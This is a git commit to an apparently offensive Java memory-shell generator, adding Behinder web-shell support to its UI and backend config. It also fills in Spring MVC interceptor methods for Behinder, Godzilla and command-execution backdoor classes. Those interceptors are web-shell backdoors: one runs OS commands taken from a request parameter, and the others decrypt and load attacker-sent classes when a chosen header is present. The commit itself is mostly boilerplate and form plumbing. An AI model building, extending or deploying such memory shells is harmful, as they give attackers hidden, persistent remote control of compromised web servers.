feat: boot-ui support behinder

This commit is contained in:
ReaJason
2024-12-22 17:37:21 +08:00
parent 29e9d2b32a
commit 14b9bcc00c
17 changed files with 138 additions and 30 deletions
+1 -1
View File
@@ -33,7 +33,7 @@ jobs:
- name: Bun Install - name: Bun Install
run: cd web && bun install --frozen-lockfile run: cd web && bun install --frozen-lockfile
- name: Build Web - name: Build Web
run: cd web && bun run build && bash copy-build.sh run: cd web && bun run build
- name: Build with Gradle - name: Build with Gradle
run: ./gradlew :boot:bootjar run: ./gradlew :boot:bootjar
- name: Upload Jar - name: Upload Jar
@@ -23,6 +23,9 @@ public class GenerateRequest {
private String godzillaHeaderName; private String godzillaHeaderName;
private String godzillaHeaderValue; private String godzillaHeaderValue;
private String commandParamName; private String commandParamName;
private String behinderPass;
private String behinderHeaderName;
private String behinderHeaderValue;
} }
public ShellToolConfig parseShellToolConfig() { public ShellToolConfig parseShellToolConfig() {
@@ -41,6 +44,15 @@ public class GenerateRequest {
.paramName(shellToolConfig.getCommandParamName()) .paramName(shellToolConfig.getCommandParamName())
.build(); .build();
} }
if (shellConfig.getShellTool().equals(ShellTool.Behinder)) {
return BehinderConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getBehinderPass())
.headerName(shellToolConfig.getBehinderHeaderName())
.headerValue(shellToolConfig.getBehinderHeaderValue())
.build();
}
throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
} }
} }
+2
View File
@@ -64,6 +64,8 @@ dependencies {
implementation 'ch.qos.logback:logback-classic:1.+' implementation 'ch.qos.logback:logback-classic:1.+'
implementation 'com.alibaba.fastjson2:fastjson2:2.0.53' implementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') { implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
exclude group: 'org.apache.tomcat', module: 'tomcat-api' exclude group: 'org.apache.tomcat', module: 'tomcat-api'
exclude group: 'org.apache.tomcat', module: 'tomcat-juli' exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
+12 -3
View File
@@ -1,6 +1,14 @@
plugins {
id 'war'
}
group = 'com.reajason.javaweb' group = 'com.reajason.javaweb'
version = '' version = ''
repositories {
mavenCentral()
}
java { java {
toolchain { toolchain {
languageVersion = JavaLanguageVersion.of(8) languageVersion = JavaLanguageVersion.of(8)
@@ -10,9 +18,8 @@ java {
} }
dependencies { dependencies {
implementation 'javax.servlet:javax.servlet-api:3.0.1' implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
implementation 'javax.websocket:javax.websocket-api:1.1' implementation 'org.springframework:spring-web:4.3.30.RELEASE'
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') { implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
exclude group: 'org.apache.tomcat', module: 'tomcat-api' exclude group: 'org.apache.tomcat', module: 'tomcat-api'
exclude group: 'org.apache.tomcat', module: 'tomcat-juli' exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
@@ -26,4 +33,6 @@ dependencies {
exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api' exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api'
exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api' exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
} }
providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
providedCompile 'javax.websocket:javax.websocket-api:1.1'
} }
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.springmvc.behinder; package com.reajason.javaweb.memshell.springmvc.behinder;
import org.springframework.web.servlet.AsyncHandlerInterceptor; import org.springframework.web.servlet.AsyncHandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
@@ -32,6 +33,7 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
public BehinderInterceptor() { public BehinderInterceptor() {
} }
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try { try {
@@ -55,6 +57,16 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
} }
} }
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) { public static byte[] base64Decode(String bs) {
byte[] value = null; byte[] value = null;
@@ -73,4 +85,9 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
} }
return value; return value;
} }
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
}
} }
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.springmvc.command; package com.reajason.javaweb.memshell.springmvc.command;
import org.springframework.web.servlet.AsyncHandlerInterceptor; import org.springframework.web.servlet.AsyncHandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.ServletOutputStream; import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
@@ -18,6 +19,7 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
public CommandInterceptor() { public CommandInterceptor() {
} }
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try { try {
String cmd = request.getParameter(paramName); String cmd = request.getParameter(paramName);
@@ -37,4 +39,19 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
} }
return true; return true;
} }
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
}
} }
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.springmvc.godzilla; package com.reajason.javaweb.memshell.springmvc.godzilla;
import org.springframework.web.servlet.AsyncHandlerInterceptor; import org.springframework.web.servlet.AsyncHandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
@@ -27,6 +28,7 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
public GodzillaInterceptor() { public GodzillaInterceptor() {
} }
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try { try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
@@ -59,6 +61,16 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
return true; return true;
} }
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
String value = null; String value = null;
@@ -112,4 +124,9 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
return null; return null;
} }
} }
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
}
} }
@@ -1,4 +0,0 @@
package org.springframework.web.servlet;
public interface AsyncHandlerInterceptor {
}
@@ -1,8 +0,0 @@
package org.springframework.web.servlet;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class ModelAndView {
}
@@ -1,8 +0,0 @@
package org.springframework.web.servlet.mvc;
/**
* @author ReaJason
* @since 2024/12/22
*/
public interface Controller {
}
+3 -1
View File
@@ -6,4 +6,6 @@ cp dist/vite.svg ../boot/src/main/resources/static/
cp -R dist/assets/* ../boot/src/main/resources/static/assets/ cp -R dist/assets/* ../boot/src/main/resources/static/assets/
mkdir -p ../boot/src/main/resources/templates mkdir -p ../boot/src/main/resources/templates
cp dist/index.html ../boot/src/main/resources/templates/index.html cp dist/index.html ../boot/src/main/resources/templates/index.html
echo "copy success"
+2 -4
View File
@@ -6,7 +6,7 @@
"scripts": { "scripts": {
"typecheck": "tsc --noEmit", "typecheck": "tsc --noEmit",
"dev": "vite --port=3001", "dev": "vite --port=3001",
"build": "tsc -b && vite build --mode production", "build": "tsc -b && vite build --mode production && bash copy-build.sh",
"serve": "vite preview", "serve": "vite preview",
"check": "bunx @biomejs/biome check ./ --write", "check": "bunx @biomejs/biome check ./ --write",
"start": "vite" "start": "vite"
@@ -53,7 +53,5 @@
"tailwindcss-animate": "^1.0.7", "tailwindcss-animate": "^1.0.7",
"zod": "^3.24.1" "zod": "^3.24.1"
}, },
"trustedDependencies": [ "trustedDependencies": ["@biomejs/biome"]
"@biomejs/biome"
]
} }
+37
View File
@@ -271,6 +271,43 @@ export function MainConfigCard({
</div> </div>
</div> </div>
)} )}
{form.getValues().shellTool === "Behinder" && (
<div className="space-y-1">
<Label>Behinder </Label>
<div className="grid grid-cols-2 gap-2">
<FormField
control={form.control}
name="behinderPass"
render={({ field }) => (
<FormItem className="space-y-1 flex items-center justify-start">
<Label className="text-xs whitespace-nowrap w-1/2"></Label>
<Input {...field} placeholder="Pass" className="h-8" />
</FormItem>
)}
/>
<FormField
control={form.control}
name="behinderHeaderName"
render={({ field }) => (
<FormItem className="space-y-1 flex items-center justify-start">
<Label className="text-xs whitespace-nowrap w-1/2"></Label>
<Input {...field} placeholder="Header Name" className="h-8" />
</FormItem>
)}
/>
<FormField
control={form.control}
name="behinderHeaderValue"
render={({ field }) => (
<FormItem className="space-y-1 flex items-center justify-start">
<Label className="text-xs whitespace-nowrap w-1/2"></Label>
<Input {...field} placeholder="Header Value" className="h-8" />
</FormItem>
)}
/>
</div>
</div>
)}
{form.getValues().shellTool === "Command" && ( {form.getValues().shellTool === "Command" && (
<FormField <FormField
control={form.control} control={form.control}
+9 -1
View File
@@ -44,6 +44,9 @@ function IndexComponent() {
godzillaHeaderName: "User-Agent", godzillaHeaderName: "User-Agent",
godzillaHeaderValue: "test", godzillaHeaderValue: "test",
commandParamName: "cmd", commandParamName: "cmd",
behinderPass: "pass",
behinderHeaderName: "User-Agent",
behinderHeaderValue: "test",
injectorClassName: "", injectorClassName: "",
packingMethod: "Base64", packingMethod: "Base64",
}, },
@@ -56,11 +59,16 @@ function IndexComponent() {
async function onSubmit(values: FormSchema) { async function onSubmit(values: FormSchema) {
startTransition(async () => { startTransition(async () => {
if (values.shellType.endsWith("Servlet") && values.urlPattern === "/*") { if (values.shellType.endsWith("Servlet") && (values.urlPattern === "/*" || !values.urlPattern)) {
toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet"); toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet");
return; return;
} }
if (values.shellType.endsWith("ControllerHandler") && (values.urlPattern === "/*" || !values.urlPattern)) {
toast.warning("ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller");
return;
}
const postData = transformToPostData(values); const postData = transformToPostData(values);
try { try {
const response = await fetch(`${env.API_URL}/generate`, { const response = await fetch(`${env.API_URL}/generate`, {
+3
View File
@@ -13,6 +13,9 @@ export const formSchema = z.object({
godzillaKey: z.optional(z.string()), godzillaKey: z.optional(z.string()),
godzillaHeaderName: z.optional(z.string()), godzillaHeaderName: z.optional(z.string()),
godzillaHeaderValue: z.optional(z.string()), godzillaHeaderValue: z.optional(z.string()),
behinderPass: z.optional(z.string()),
behinderHeaderName: z.optional(z.string()),
behinderHeaderValue: z.optional(z.string()),
commandParamName: z.optional(z.string()), commandParamName: z.optional(z.string()),
injectorClassName: z.optional(z.string()), injectorClassName: z.optional(z.string()),
packingMethod: z.string().min(1, { message: "请选择打包方式" }), packingMethod: z.string().min(1, { message: "请选择打包方式" }),
+3
View File
@@ -15,6 +15,9 @@ export interface ShellToolConfig {
godzillaHeaderName?: string; godzillaHeaderName?: string;
godzillaHeaderValue?: string; godzillaHeaderValue?: string;
commandParamName?: string; commandParamName?: string;
behinderPass?: string;
behinderHeaderName?: string;
behinderHeaderValue?: string;
} }
export interface CommandShellToolConfig { export interface CommandShellToolConfig {
+3
View File
@@ -16,6 +16,9 @@ export function transformToPostData(formValue: FormSchema) {
godzillaHeaderName: formValue.godzillaHeaderName, godzillaHeaderName: formValue.godzillaHeaderName,
godzillaHeaderValue: formValue.godzillaHeaderValue, godzillaHeaderValue: formValue.godzillaHeaderValue,
commandParamName: formValue.commandParamName, commandParamName: formValue.commandParamName,
behinderPass: formValue.behinderPass,
behinderHeaderName: formValue.behinderHeaderName,
behinderHeaderValue: formValue.behinderHeaderValue,
}; };
const injectorConfig: InjectorConfig = { const injectorConfig: InjectorConfig = {